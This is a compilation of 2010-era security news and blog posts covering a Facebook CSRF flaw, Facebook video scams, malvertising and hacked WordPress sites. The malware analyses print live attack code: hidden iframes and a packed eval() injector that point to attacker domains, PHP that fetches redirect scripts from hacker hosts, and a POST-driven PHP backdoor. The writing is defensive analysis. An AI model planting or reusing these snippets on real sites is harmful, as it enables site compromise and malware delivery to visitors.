Leonardo Musumeci

A researcher has found a critical security flaw on Facebook that could be exploited by hackers to expose sensitive information about users.

M J Keith, a senior security analyst with security firm Alert Logic, discovered the vulnerability which could lead to private information being exposed, or users’ Facebook pages being maliciously defaced.

IDG security reporter Robert McMillan has explained the problem well:

The bug has to do with the way that Facebook checked to make sure that browsers connecting with the site were the ones they claimed to be. Facebook's servers use code called a "post_form_id" token to check that the browser trying to do something -- liking a group, for example -- was actually the browser that had logged into the account. Facebook's servers check this token before making any changes to the user's page, but Keith discovered that when he simply deleted the token from messages, he could change many settings on any Facebook account.

This is called a CSRF (Cross-site request forgery attack), which – if left unpatched – would allow hackers to set up malicious webpages that could submit instructions to the victim’s Facebook account without validation.

The consequence? Well, a hacker could make your hitherto private information public, or force your profile to “like” a Facebook group that you may find embarrassing.

M J Keith reports on AlertLogic’s website that he informed Facebook of the problem on the 11th of May, and that the problem has now been fixed.

However, IDG has reported that the security hole is still present.

Hopefully, if it’s not already patched, this privacy flaw – which comes at an embarrassing time for Facebook – will be removed soon.

If you’re a regular user of Facebook, you could do a lot worse than join the Sophos page on the site to ensure you are kept up-to-date with the latest security news. Oh, and remember to be careful about clicking on suspicious links..

Source: Embarrassing privacy flaw found on Facebook

Leanne, a member of the Sophos fan page over on Facebook, contacted me earlier today to ask about videos being posted automatically on users’ profiles entitled “the sexiest video ever”.

A little digging discovered that thousands of Facebook users have woken up to discover messages posted on their walls, seemingly by their Facebook friends.

The messages read:

<name>, this is without doubt the sexiest video ever!

accompanied by what appears to be a video with the title "Candid Camera Prank [HQ]".

The message has what appears to be a movie thumbnail of a woman on a bicycle wearing a short skirt, and the video’s length is given as 3:17.Now, maybe you’re in the habit of sharing and receiving videos like this with your online chums. I can certainly imagine a lot of blokes in particular might be tempted to play the video. Each to his or her own, but you should be extremely careful on this occasion. Because if you click on the thumbnail you don’t view a video at all, but are instead taken to a Facebook application.

When I tried for myself the application failed to run (maybe Facebook has already taken action?), but according to reports from users it told them that their video player was out-of-date and urged them to download a file. Users then report that the same video was posted (using their avatar and name as though they had posted the message) to their Facebook friends and acquaintances, thus spreading even more quickly.

Judging by the number of messages posted on Facebook, thousands of people received this attack. If you were one of them, you should scan your computer with an up-to-date anti-virus, change your passwords, review your Facebook application settings, and learn not to be so quick as to fall for a simple social engineering trick like this in future.

Update Patrik Runald, one of our friends over at Websense Security Labs, has produced this video demonstrating the attack.As you can see, Patrik captured the attack in action – finding that aside from spreading it was designed to install the Hotbar adware to generate revenue for the bad guys.

If you’re regular user of Facebook, why not join the Sophos page on Facebook?

We’ll do our best to ensure you are kept up-to-date with the latest security news.

Fonte: The sexiest video ever? Facebook users hit by Candid Camera Prank attack

I first noticed this hidden iframe from hxxp://networkads .net/ grep/ on April 7.

It instantly drew my attention with these weird “iframe_style” scripts in Unmask Parasites reports (I even thought it was a bug in Unmask Parasites, but when I checked the infected site, I found those scripts there).

However it was a single incident and I didn’t see any obvious pattern back then. Two days later, when I noticed David’s (Sucuri Security) article about this very issue and the follow-up by Brian Krebs, I decided to take a closer look at it.

What I found is quite interesting and raises a few serious questions about security of websites on shared servers.

Quick recap of David’s and Brian’s articles

1.Many WordPress blogs on have been recently hacked. Someone has injected the following iframe that pushes malicious content from networkads .net server

<iframe style="display:none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>

2. The injection was done via WordPress database. Hackers replaced the value of the “siteulr” option in the “wp_options” database (table prefix may be different in you case) with the iframe code:

<iframe style=\"display:none\" height=\"0\" width=\" 1\" src=\"hxxp://networkads .net/ grep/\"></iframe>'

3. This dumb modification of the siteurl parameter breaks most blogs (both visually and functionally) since there are many dependencies on the the siteurl parameter in WordPress. So Webmasters need to manually revert the value of this parameter to the correct site URL in their MySql database (it should be something like: http://yousite.com/blogroot ).

4. All affected sites are hosted by Network Solutions.

My findings

Google search

The hack breaks HTML code. This is a typical line of HTML broken by this iframe injection:

<link rel="pingback" href=""><iframe style="display: none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>/xmlrpc.php" />

Since most WordPress themes actively use the siteurl parameter in the <head> section of HTML, this broken code makes them look like this:

which makes it possible to compose a Google search query that will return similarly hacked blogs. For example: wp-content text/css media screen xmlrpc.php -pingback – this search produces about 5,000 results. Many of them point to the hacked blogs. These 5,000 of course include multiple indexed pages from the same sites, but I still could easily find more than 60 infected blogs on the first 10 pages of search results. (Warning: many blogs are still infected at the moment of writing.)

Network Solutions only

All those blogs are hosted by Network Solution. Not a single infected site outside of their network. This means that this specific attack is limited to Network Solutions servers.

Server IPs

Most of the infected blogs (40+) are on the server with IP address: 205.178.145.65

I also found similarly infected blogs on 16 more Network Solutions’ IPs:

205.178.145.85
205.178.145.86
205.178.145.99
205.178.145.105
205.178.145.116
205.178.189.131
206.188.192.204
206.188.193.32
206.188.193.63
206.188.193.63
206.188.193.64
206.188.193.179
206.188.193.195
206.188.193.220
206.188.193.250
206.188.196.127
206.188.211.27

Not only a database hack

Not only does this attack inject the iframe code into WordPress database, on certain sites hackers also inject the iframe code (slightly modified) directly into file on disks.

<iframe frameborder="0" onload=' if (!this.src){ this.src="http://networkads.net/grep/"; this.height=0; this.width=0;} '></iframe>

The places of injection suggest that the code was not taken from database.

Other Domains

networkads .net is not the only domain name used by this attack. Before it, hackers used binglbalts .com/ grep/ and now they use mainnetsoll .com/ grep/.

This three domains point to the same server with IP address 64.50.165.169 (Lunar Pages) which seems to be a hacked dedicated (or virtual dedicated) server with several legitimate sites.

According to whois:

• binglbalts .com – created on Apr 01, 2010
• networkads .net – create on Apr 04, 2010
• mainnetsoll .com – created on Apr 10 2010

Inspite of such a short history, according to Google Safe Browsing database, binglbalts. com and networkads.net have already changed several servers on 3 different networks.

Update: obfuscated script

When I published this article I checked the compromised sites once more and discovered this obfuscated script on one of them:

e v a l(function(p, a, c, k, e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f(a,8,d){6 3=i m();3.l(3.k()+(d*n));6 5="; 5="+3.j();4.9=a+"="+8+5+"; "}6 c=4.9;b(c.v("g")==-1){4.o(\'<e w="0" y=\\\' b (!2.7){ 2.7="t://u.p/q/"; 2.r=0; 2.s=0;} \\\'></e>\');f("g","1",x)}',35,35,'||this|date|document|expires|var|src|value|cookie|name|if||hours|iframe|addCookie|seref|function|new|toGMTString|getTime|setTime|Date|3600000|write|com|grep|height|width|http|mainnetsoll|indexOf|frameborder|24|onload'.split('|'),0,{})) ;

It was right after the <body> tag.

What this script does is checks if there is a cookie called “seref“. If there is no such a cookie, it injects a hidden iframe from hxxp://mainnetsoll .com/ grep/, and then sets this “seref “cookie for one day.

As you can see the attack constantly evolves, and this time the malicious code is directly injected into some WordPress file.

Other hacks

It looks like these latest iframe injections are not the first time when WordPress blogs on those Network Solutions servers are being attacked by hackers. I can still see signs of other attacks.

Hidden links

Some of the hacked sites contain hundreds of spammy links that can only be visible if you browse with disabled JavaScript. For some reason, every link is enclosed in <noindex> tags and use rel=”nofollow” in <a> tag’s parameters. So what’s the use if it is neither for normal web surfers nor for search engines?

The links are followed by the networkads hidden iframes.

alkoltashov.narod.ru

I also found a dozen of infected WordPress blogs that try to pull hidden spammy links from hxxp://alkoltashov .narod .ru/ sites.txt. The links are supposed to be displayed in a <div> located way outside of the visible area, but because the configuration of Network Solutions servers that disable URL file-access, those link injections fail with the following error (which is also displayed outside of the visible are ):

<div style="left: -2322px; position: absolute; top: -3433px">
Warning: readfile() : URL file-access is disabled in the server configuration in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163
Warning: readfile(hxxp://alkoltashov .narod .ru/ sites.txt) : failed to open stream: no suitable wrapper could be found in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163
</div>

According to Google cache, this unsuccessful remote link injection happened back in January.

And it is also limited to blogs on Network Solutions servers.

WebEasySearch .com

Some of the hacked blog also redirect search engine results to webeasysearch .com site. And this only happens if you haven’t visited the hacked blogs before (must be checking WP cookies).

This hack encrypts the search engine’s query string, and then passes it to the webeasysearch .com site which decrypts it and displays it’s own search results for the same query.

I bet it is done by some PHP code injected into WordPress files.

The style of the hacks and the range of the affected sites make me think that all those hacks were done by the same hacker.

Conclusion

1. The hackers definitely target WordPress blogs, but I doubt any WordPress vulnerability was used. Otherwise we would see similarly hacked blogs not only on the Network Solutions servers.

2. At the same time more than a dozen of Network Solutions servers are affected. There might be a security hole (or a least flaw) on their network. They should seriously investigate this issue.

3. I agree with David from Sucuri Security who thinks this can be done via access to a single compromised (or even legally created by hackers) account. Hackers can use this account to execute scripts that read content of wp-config.php files on neighbor accounts (according to reverse IP lookup there are several thousand sites on the server with IP 205.178.145.65).

It is quite easy (I won’t give out the tricks to wanna be hackers here but they work well on Network Solutions servers) to identify sites with WordPress blogs on any server and then identify absolute paths to wp-config.php files that contain database credentials, and names of WordPress tables – all in plain text. Then hackers simply need to run another script that injects whatever they want into databases of their server neighbors.

Similarly, any malicious code can be injected into any writable files under neighbor accounts.

WordPress design flaw

On shared servers, you can protect your own files from malicious neighbors making them read-only. Usually 644 file permissions and 755 directory permissions do the trick.

However, if neighbors somehow get your database credentials, they can do whatever they want with your database. In case of WordPress, it’s enough to read the wp-config.php file in the root of a WordPress blog.

To hide the content of the wp-config.php file from server neighbors, David (Sucury Security) suggests that this file should have 750 permissions (I guess he meant 640 since the execution permission is not required). Unfortunately, this trick will only work on servers with suPHP. On other servers where web server executes PHP scripts with its own rights, this trick will complete break WordPress blogs. Every page will produce the “Failed opening required ‘wp-config.php’” error.

This means that WordPress blogs on most shared servers are vulnerable to this sort of attack. It merely takes to hack one account (most shared servers have multiple hacked accounts) or even to create a regular account specifically for hacking purpose and you can steal MySQL database credentials of your neighbors with WordPress blogs. Any other database driven web scripts that store database credentials in plain text are also vulnerable.

Guys from WordPress are aware of this problem on shared servers but for some reason they also give this strange advice about 750 permissions for wp-config.php that both incorrect (750 instead of 640) and will only work for suPHP server:

Note that if you are on a shared-server the permissions of your wp-config.php should be 750. It means that no other user will be able to read your database username and password. If you have FTP or shell access, do the following:

chmod 750 wp-config.php

So at this point, there is no universal way to protect your database credentials on shared servers. At the same time, I see more and more attacks where a compromise account on a shared server is used to hack other sites on the same server. It’s time to revisit the approach used in the wp-config.php file.

Have your say

What do you think about this issue with world-readable wp-config.php files on shared servers? Any thoughts on how to mitigate it?

If you are a Network Solutions client with a hacked site, I’d also want to hear about your experience. Could you tell us about file permissions you use (especially if you were hit by those alkoltashov .narod .ru and WebEasySearch attacks)?

Any other comments are also welcome.

Related posts:

• Spammy Links From Remote Servers
• Rogue blogs redirect search traffic to bogus AV sites. Part 2 .
• From Hidden Iframes to Obfuscated Scripts
• Evict Hackers
• Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects

Source: Network Solutions and WordPress Security Flaw

I’ve discussed before the problem of perverts and cyberstalkers using malware to grab control over their victims’ webcams , in order to secretly spy upon people in their bedrooms.

On occasions, hackers have exploited the technology to blackmail young women into posing naked, threatening that they will send other comproming photos to their online friends.

Much of the malicious software we see today is designed to steal your identity, your passwords, your banking information – but it is just as easy to program a spyware Trojan horse to take over your webcam.

That’s why I was interested to see this new USB webcam from Gsou.

Whereas most webcams display a light when a webcam is turned on, this webcam in the shape of a cute humanoid robot lifts its arms to obscure its “eye” when it is switched off! It would be pretty hard for someone not to notice that a remote hacker has enabled their webcam if its arms suddenly moved down unexpectedly.

According to the Chinese manufacturers, as well as automatically lowering and rising as the webcam is enabled and disabled, they can also be moved manually.

Not only is this very cute – but I can imagine that it could also offer a very real additional level of privacy to folks on the internet.

Of course, ensuring that your webcam can’t see you is only one way to defend yourself. You should also keep your computer protected against the latest threats with anti-malware software, security patches and firewalls. And if you can’t afford a cute robot that will automatically cover his lens when you want privacy, maybe a band-aid over your webcam would do the job just as well?

Hmm.. considering the recent news about malware possibly being embedded inside Chinese technology, I wonder if India will be purchasing any of these webcams?

Hat-tip to Wing Fei Chia for spotting this first.

Source: Anti-peeping webcam protects your privacy

You might have noticed a video title “Optical Illusion! [HQ]“ on your friend’s wall on Facebook. Actually its not a video and it links to an application. If you move further on, you will be asked to download a file named flvdirect.exe which may contain virus or malware.

Update: This scam has been removed by Facebook. The application is no more. In future, if you find such apps don’t be victim of them. If you have found any other such scams, you can notify us.

Here’s how the wall post looks :

Here’s how this virus runs:

1) After clicking on the link, you will be prompted to the application named F.B. HD Video Player – http://apps.facebook.com/hghh_rtrt/.

2) You will then display the message – Thanks for the confirmation! You can continue to the video now.

3) After clicking continue, you will be taken to page where it claims to be the video. The video will not open and displays the message – “Your FLV Player seems to be out of date. Please update your FLV Player in order to proceed. Please click the Continue button now and wait a few seconds.”

4)Then it asks to download the file – “FLVDirect.exe“.

Along with this it posts a message on your friends wall showing the link and message” [name here], this is without doubt the hottest video ever! ”

Please don’t click on the link and if you find it on your or Friend’s wall just ignore it. If you have already clicked it then please remove the application by going to:

Account — > Application Settings –>

You will find “F.B. HD Video Player” then click cross on the right of it to delete it.

If you have downloaded and installed the program “Flvdirect.exe” scan your computer with a Anti-virus and Malware scanner.

Facebook will certainly remove this application in few days. However, your friends may fall for it. Please warn them.

Source: Optical Illusion! [HQ] ” – Facebook video link which may contain virus

Players of the online game Farm Town are being warned to be on their guard for malicious adverts that display fake security warnings in an attempt to dupe unsuspecting users into installing malicious code or handing over their credit card details.

SlashKey, the developers of the game which has over 9.6 million monthly active users on Facebook, has posted a warning on its forum advising players to be wary of warnings that suddenly pop-up telling them that their computer is infected:

If you suddenly get a warning that your computer is infected with viruses and you MUST run this scan now, DO NOT CLICK ON THE LINK, CLOSE THE WINDOW IMMEDIATELY. You should then run a full scan with your antivirus program to ensure that any stray parts of this malware are caught and quarantined.

If you do research on many of these spyware programs you will also find a myriad of sites proclaiming they are the only ones who can rid you of these programs. This is not true and on a personal level I urge you to use great caution as some of these so called wonder cures are as much of a scam as the malware you are trying to remove.

Hundreds of Farm Town players have responded on the forum, saying that they have been on the receiving end of the attack – but the worry is that many many more users may not have seen the warning and could have been tricked by the fake anti-virus warnings into infecting their computers or handing over personal information.

It appears that the problem is related to the third-party advertising that Farm Town displays underneath its playing window. In all likelihood, hackers have managed to poison some of the adverts that are being served to Farm Town by the outside advert provider.

Such malicious advertising (or malvertising as it is known) has been the vector for other infections in the past, including attacks against the readers of the New York Times and Gizmodo.

What makes this attack all the more serious, of course, is the sheer number of people that regularly play Farm Town, and that – in all likelihood – they might not be as tech-savvy as the typical Gizmodo reader, and thus more vulnerable to falling for the hackers’ scam.

Rather than SlashKey simply asking its players to report offending adverts when they appear, it might be sensible for the company to disable third-party adverts appearing alongside Farm Town until the problem is fixed.

It may not be Farm Town’s fault that a third-party advertising network is serving up malicious ads, but doing anything less is surely showing a careless disregard for the safety of its players.

Until the makers of Farm Town resolve the problem of malicious adverts, my advice to its fans would be to stop playing the game and ensure that their computer is properly defended with up-to-date security software. If you do feel you have to play Farm Town then it might be wise to disable adverts in your browser (for instance, using an add-on such as Adblock Plus on Firefox).

By the way, if you are on Facebook and want to keep yourself informed about the latest security news you may want to become a Fan of Sophos on Facebook.

Source: Farm Town virus warning: Malvertising at work?

A potential new forensic:

To determine how similar a person’s fingertip bacteria are to bacteria left on computer keys, the team took swabs from three computer keyboards and compared bacterial gene sequences with those from the fingertips of the keyboard owners.

Today in the Proceedings of the National Academy of Sciences, they conclude that enough bacteria can be collected from even small surfaces such as computer keys to link them with the hand that laid them down.

The researchers then tested how well such a technique could distinguish the person who left the bacteria from the general population. They sampled bacteria from nine computer mice and from the nine mouse owners. They also collected information on bacterial communities from 270 hands that had never touched any of the mice. In all nine cases, the bacteria on the mice were far more similar to the mouse-owners’ hands than to any of the 270 strange hands. The researchers also found that bacteria will persist on a computer key or mouse for up to 2 weeks after it has been handled.

Here’s a link to the abstract; the full paper is behind a paywall.

Source: Identifying People by their Bacteria

Back in November, I wrote about rogue blogs created in subdirectories of legitimate websites. The blogs poisoned Google search results for millions of relatively unpopular keywords (the long tail) redirecting visitors to scareware websites. This hack mainly affected sites hosted on Servage network.

Recently I’ve been contacted by one of Servage clients who found his sites hacked:

I noticed the anomalous traffic to domains that are essentially either completely parked or just used for email addresses (SMTP forwarding rather than anything ‘clever’ with webmail.) That led me to the file structures and a quick google led me to your site.

He sent me the offending files he found under his account (thanks Matthew). Now I can share my analysis of the files with you.

In my previous post, I speculated about the internal structure of the rogue blogs. Now that I have the files, I can say that all my guesses proved to be correct.

Blog engine

Indeed, a full-featured yet minimalistic PHP blog engine powers the rogue blogs.

The whole engine consists of only 4 files:

• index.php – main file of the engine. Less than 500 lines of PHP code. Less than 18K bytes on disk.
• template.php – template of web pages that uses the data provided by the index.php. About 20 Kbytes.
• categories.dat – serialized blog categories.
• .htaccess – rewrite rules to support SEO-friendly URLs.

And this engine is indeed anonymous. I couldn’t find any credits. No names, not licenses. Just the code. The only clue I found was this User-Agent string of the ping requests: WeirD blog engine.

Features

The engine can do pretty much everything you expect a blog engine should be able to do.

• add/remove entries
• break down entries by categories
• display entries in chronological order
• support SEO-friendly URLs
• notify services like Ping-O-Matic, Technorati, Google Blogsearch, Weblogs about new posts.
• provide RSS feeds
• support trackbacks
• support custom templates

Flat files

The entries (there are hundreds of them) are stored in flat .txt files in the same directory. This makes the engine database-independent, so it can work on most servers. The only requirements are:

• PHP
• sufficient directory permissions to create files
• Apache (to use SEO-friendly URLs)

Here’s a sample content of one of such text files (blonde-avril-lavigne.txt):

blonde avril lavigne
<img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />

As you can see the files are straight forward. The title on the first line followed by the content. In our case the content is five images (Google Image search results for corresponding keywords).

.htaccess

Since the purpose of the rogue blogs is poisoning of search results, “SEO-friendly” URLs is a required feature of the blog engine. This engine uses Rewrite rules in .htaccess files.

RewriteEngine On
RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L]
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L]
RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L]
RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L]
RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L]
RewriteRule ^rss20.xml$ index.php?action=rss [L]

Malicious features

What makes these blogs malicious is following modifications to the original engine.

css.js

All blog pages contain the following script tag:

<script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"></script>

The script redirects visitors that come from search engines to scareware sites. The content of this script constantly changes, redirecting people to new, not yet blacklisted sites. Here is how they do it behind the scenes:
function get_js_file($filename) {
if (!file_exists($filename) or time() - filemtime($filename) > 3600) {
$js_file = @file_get_contents('hxxp://t.xmlstats .in/b-m-2/'.$filename);
if (!$js_file) { $js_file = @file_get_contents('hxxp://t.jsonstats .in/b-m-2/'.$filename);}
if ($js_file) { @file_put_contents($filename, $js_file);}
}}

As you can see, this code tries to update the css.js file downloading its new content from hackers’ sites: t.xmlstats .in, t.jsonstats .in and, in some versions of the engine, t.jsstats .in.

This is how hackers make sure their blogs always redirect to currently active scareware sites.

Anti-Googlebot

Another modification is the code that detects requests from Google’s network checking the IP address against known Google’s IP ranges. If a request from Google is detected, the css.js file is replaced with css.google.js. This way hackers try to hide the malicious redirects from Googlebot when it indexes the rogue blogs. And the fact that I can see many such blogs in Google search results without any warnings shows that this simple trick does its job.

Different generations

In November, I discovered that there had been several different generations of the rogue blogs. Checking the files I received from Matthew, I found those generations sitting in separate subdirectories: blog, bmblog, bmsblog.

Backdoor script

Another interesting file I received is the index.php above the directories with rogue blogs:

<?php
error_reporting(E_ALL);
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {
$test_func = create_function('', urldecode($_POST['f']));
$test_func();
}
?>

This is a typical backdoor script that executes whatever PHP code hackers send in parameters of POST requests.

Apparently, this script was used to create all other rogue files and directories. The question is how this backdoor script got there in the first place.

When Matthew asked Servage about what happened to his sites, they accused him of using insecure scripts, despite of the fact that his site didn’t use any scripts at all.

As I showed in my previous post, 85%+ of discovered rogue blogs are hosted by Servage so I’m almost sure some Servage-specific security hole was used. (Pure speculation: For example, it could be some php shell that hackers used to finds user accounts with writable directories. And the internal Servage architecture might help this script propagate to different physical servers. )

Still active

While the first generation of these rogue blogs appeared in April of the last year, this attack is still active. I can still see quite a few rogue bmsblog blogs with dates of the most recent posts in March of 2010. And some of them (not all though) can be found via Google search inurl:bmsblog/category 2010.

To Webmasters

While this particular attack mainly affects clients of Servage hosting company, it is quite typical for hacks that try to create rogue web pages in compromised web sites. So the following advice should be useful for most webmasters.

1. Make sure your server directories are only writable to you. This is especially important in shared hosting environment where hackers can use a compromised neighbor account to find writable directories in the rest sites on the same server and then create rogue content there.

2. Regularly scan your server for any suspicious files and directories.

3. Regularly check raw server logs. You may find requests to files that shouldn’t be there.

4. Pay special attention to POST requests. They are very popular for backdoor scripts. Just compile a list of files accessed via POST requests and check if you recognize any of them.

5. Many shared hosting plans include Webalizer. Every now and then check its reports. While they are normally not as useful as Google Analytics reports, they have one important advantage over Google Analytics – they track all files under your account, not only those where you inserted a tracking code. So, in Webalizer, you can see requests to files created by hackers, while Google Analytics completely misses this sort of data.

6. Hackers usually create rogue web pages to poison Google search results. So it’s natural to use Google to detect this sort of hacks. Regularly use Google to check what is indexed on your site. Use the site:you_site_domain.com search command.

7. Regularly check reports in Google Webmaster Tools. They may also reveal suspicious activity. Useful reports: Top search queries, Keywords, Links to your site.

8. If you find new directories with rogue files, disallow them in robots.txt. This will show Google that you don’t want those directories to be indexed. Otherwise, even if you delete the files, Google may keep them in index for quite some time (who knows, maybe you removed them temporarily while, say, redesigning your site).

For example, if you find rogue files in /cgiproxy/bmsblog/ the robots.txt should be:
User-agent: *
Disallow: /cgiproxy/bmsblog/

9. And don’t forget about other types of hacks that mess with your existing files. Regularly check your site for consistency and any illicit content that hackers may inject into your web pages (this is where my Unmask Parasites service can help).

Call for information

This case is not completely investigated yet. For example, I still don’t know why it mainly hits Servage and how exactly it propagates. This information could help Servage clients prevent infection of their sites. And probably guys at Servage need this information too since it looks like they can’t stop this attack themselves (and it’s active for about a year now!!!)

And if you have interesting information about any other hacker attack, please share it with me and readers of this blog. I’m always looking for malicious files that webmasters find on their compromised servers. They can tell a lot about how the attacks work. So before deleting any offending content, consider contacting me first.

Thanks for reading this blog. Your comments are welcome.

Related posts:

• Rogue blogs regirect search traffic to bogus AV sites. Part 1
• Rogue blogs redirect search traffic to bogus AV sites. Part 2
• Bety.php – osCommerce Hack. Part 1.
• Bety.php Hack. Part 2. Black Hats in Action.

Source: Internals of Rogue Blogs

Over the past few years, attacks against web applications have become more prevalent and sophisticated. There are several methods of attacking web applications, SQL injection being one of the more well-known. In this article, we are going to discuss a different class of attacks and a few examples of how an incident responder or computer forensic investigator might spot them.

All web forms contain fields that are used to grab input from a user and post it to the server for processing. Form fields are commonly used to collect information, from transaction details on ecommerce sites to authentication credentials for restricted content. While form fields are used to collect data legitimately from users, they can also be used maliciously.

An example of this is a client side attack commonly known as form field injection. In this type of attack, malware interacting in a web browser adds additional form fields to valid form fields on a web page (search for BHO html injection). The purpose of injected fields is to trick users into revealing sensitive personal information like passwords, ATM PINs, and credit card numbers. This information is captured and transmitted to remote drop sites where it can be used to perpetrate identity theft or fraud. Several classes of malware are capable of performing this kind of attack, including the widely used ZeuS.

HTML injection attacks take form field injection one step further. Instead of inserting a form field into a web page, HTML injection replaces legitimate HTML coming from the server, similar to a “cut and paste” function. The replaced HTML is overwritten by the attacker’s HTML and the original, intended content is never rendered by the web browser. This type of attack can be used to alter the logical flow of a web application. For example, legitimate data on a web page, like an account summary, can be replaced by a form asking for a username and password. After data is entered into the form, the legitimate data will be properly displayed. This may look like an additional level of authentication, tricking a user into entering credentials which are captured like the form field injection attack described above.

Why is this information important to incident response and digital forensic professionals? Both of these attacks are client side attacks. When investigating web application compromises, investigators may not have access to the client side computer. However, since injected fields are part of a web form, they may be transmitted in the POST request along with legitimate fields on the page back to the server. These artifacts may appear as anomalous data in the server logs. For example, a username field appearing on a POST other than from a legitimate login page should be investigated further.

In summary, being aware of current attacks, how they are preformed, and the resulting artifacts or signatures they may leave behind can be a great benefit to an investigator. By knowing of and looking for these signs, investigators can recognize and respond to incidents faster, resulting in less impact to the organization/agency. It gets back to the old adage of knowing your system, data, flows, etc. Focus on any abnormal deviation from these legitimate patterns as they may be a tipoff that an incident has occurred.

Chris Silveira manages the CSIRT and Paul Yacovetta is a forensic engineer at a financial institution.

Source: Client-side Web Application Attacks

It looks like it’s time to remind everyone that malware isn’t just something you download from the internet, or find attached to an email, or even discover lurking on a CD. Any time you plug a storage device into your computer you are potentially exposing it to any malicious code which might reside on the unit.

So, that means that you have to be conscious that all sorts of items can carry malware, and could transmit it to your laptop or desktop computer if you attach it. It doesn’t matter if it’s an iPod, a BlackBerry, a sat-nav, or a digital photo frame.

If it’s got the ability to store data, it can store malware too.

The latest warning comes from US-CERT, who advise that software that comes with the Energizer DUO USB NiMH battery charger is infected with a backdoor Trojan horse, capable of infecting Windows PCs.

Sophos detects the Trojan horse as Troj/Bckdr-RBF.

It’s not yet known how the software, which is designed to display a battery’s charge level, became infected. It’s clear, however, that a more stringent quality control procedure might have saved consumers’ computers and Energizer’s blushes.

Read more information in the advisory from US-CERT.

Update: There appears to be some confusion about whether the Energizer DUO USB NiMH battery charger shipped with the infected software, or whether it was made available by Energizer separately.

Clu-blog reader Kurt Wismer (who knows a thing or two about malware) says he has one of these Energizer chargers and it didn’t come packaged with malware-infected software.

Either way, be careful out there!

Source: Bad Bunny! Energizer USB battery charger blamed for backdoor